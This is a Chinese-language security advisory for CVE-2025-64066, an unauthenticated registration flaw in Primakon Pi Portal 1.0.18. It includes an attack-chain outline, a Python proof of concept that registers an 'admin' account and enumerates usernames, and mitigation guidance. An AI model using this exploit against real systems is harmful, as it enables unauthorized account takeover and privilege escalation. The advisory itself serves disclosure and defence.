IPBUF安全漏洞报告
English
CVE-2025-64066 CVSS 8.6 高危

CVE-2025-64066 Primakon Pi Portal 1.0.18 注册接口存在访问控制缺陷

披露日期: 2025-11-25

漏洞信息

漏洞编号
CVE-2025-64066
漏洞类型
访问控制缺陷 (Broken Access Control)
CVSS评分
8.6 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Primakon Pi Portal 1.0.18

相关标签

访问控制缺陷API安全未授权访问Primakon Pi PortalBroken Access Control用户枚举CVE-2025-64066高危漏洞

漏洞概述

CVE-2025-64066是Primakon公司开发的Pi Portal 1.0.18版本中存在的一个高危访问控制漏洞。该漏洞位于REST API的/api/v2/user/register接口,该接口在设计时未能实现任何授权检查机制,允许未经过身份认证的攻击者通过POST请求在应用程序的本地数据库中注册新用户账户。这一缺陷直接绕过了应用程序的安全架构设计——原本该系统依赖外部身份提供商(Identity Provider)进行初始用户注册,并假设内部用户创建仅为管理员专属功能。攻击者不仅可以利用此漏洞创建任意账户,还可以通过注册过程中的响应信息枚举系统中已存在的用户账户,从而为社会工程攻击或进一步定向攻击提供情报支持。该漏洞CVSS评分高达8.6,属于高危级别,攻击复杂度低且无需任何权限或用户交互即可实现,对系统的机密性和完整性均造成严重影响。

技术细节

该漏洞属于OWASP API Security Top 10中的API1:2023 - Broken Object Level Authorization(失效的对象级授权)类别。在Primakon Pi Portal 1.0.18中,REST API端点/api/v2/user/register的实现存在以下问题:1) 缺少身份认证检查:正常情况下,用户注册应通过外部IdP进行,或至少需要管理员权限,但该端点未验证请求者身份;2) 缺少授权检查:未验证请求者是否有权限创建新账户;3) 缺乏速率限制:未对注册请求进行频率限制,存在暴力破解风险。攻击者只需构造一个带有username、password等基本字段的POST请求即可成功注册。由于系统设计假设内部用户创建仅为管理员操作,因此该漏洞可与系统中其他漏洞串联利用,实现权限提升并最终导致应用程序的完全沦陷。此外,注册响应中的某些信息(如用户名是否已存在)可用于用户枚举攻击。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者对目标Primakon Pi Portal进行侦察,发现/api/v2/user/register接口存在且可访问
STEP 2
步骤2: 用户枚举
通过向注册接口发送请求并观察响应,枚举系统中已存在的用户账户(如admin、root等)
STEP 3
步骤3: 未授权账户注册
构造恶意POST请求,在无需任何认证的情况下向/api/v2/user/register端点提交注册数据,在本地数据库中创建新账户
STEP 4
步骤4: 权限提升
尝试在注册请求中指定高权限角色(如admin),或结合系统中其他漏洞实现权限提升
STEP 5
步骤5: 完整系统沦陷
利用已获取的权限访问敏感数据、执行恶意操作或进一步横向移动,最终导致应用程序完全沦陷

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json target_url = "http://target.com/api/v2/user/register" # PoC 1: Register a new user account without authentication payload = { "username": "attacker", "password": "P@ssw0rd123!", "email": "[email protected]", "role": "admin" # Attempt privilege escalation } headers = { "Content-Type": "application/json" } response = requests.post(target_url, json=payload, headers=headers, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # PoC 2: User enumeration - try to register existing usernames usernames_to_check = ["admin", "root", "administrator", "user"] for username in usernames_to_check: enum_payload = { "username": username, "password": "Test123!", "email": f"{username}@test.com" } resp = requests.post(target_url, json=enum_payload, headers=headers, timeout=10) if "already exists" in resp.text.lower() or resp.status_code == 409: print(f"[+] Username '{username}' already exists!") else: print(f"[-] Username '{username}' is available")

影响范围

Primakon Pi Portal 1.0.18

防御指南

临时缓解措施
在官方修复发布前,建议通过Web应用防火墙(WAF)规则限制对/api/v2/user/register端点的访问,仅允许受信任的IP地址访问;禁用该注册接口的外部访问或暂时关闭用户注册功能;启用详细的审计日志监控异常的账户创建行为;实施IP级别的速率限制以防止自动化攻击和用户枚举。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表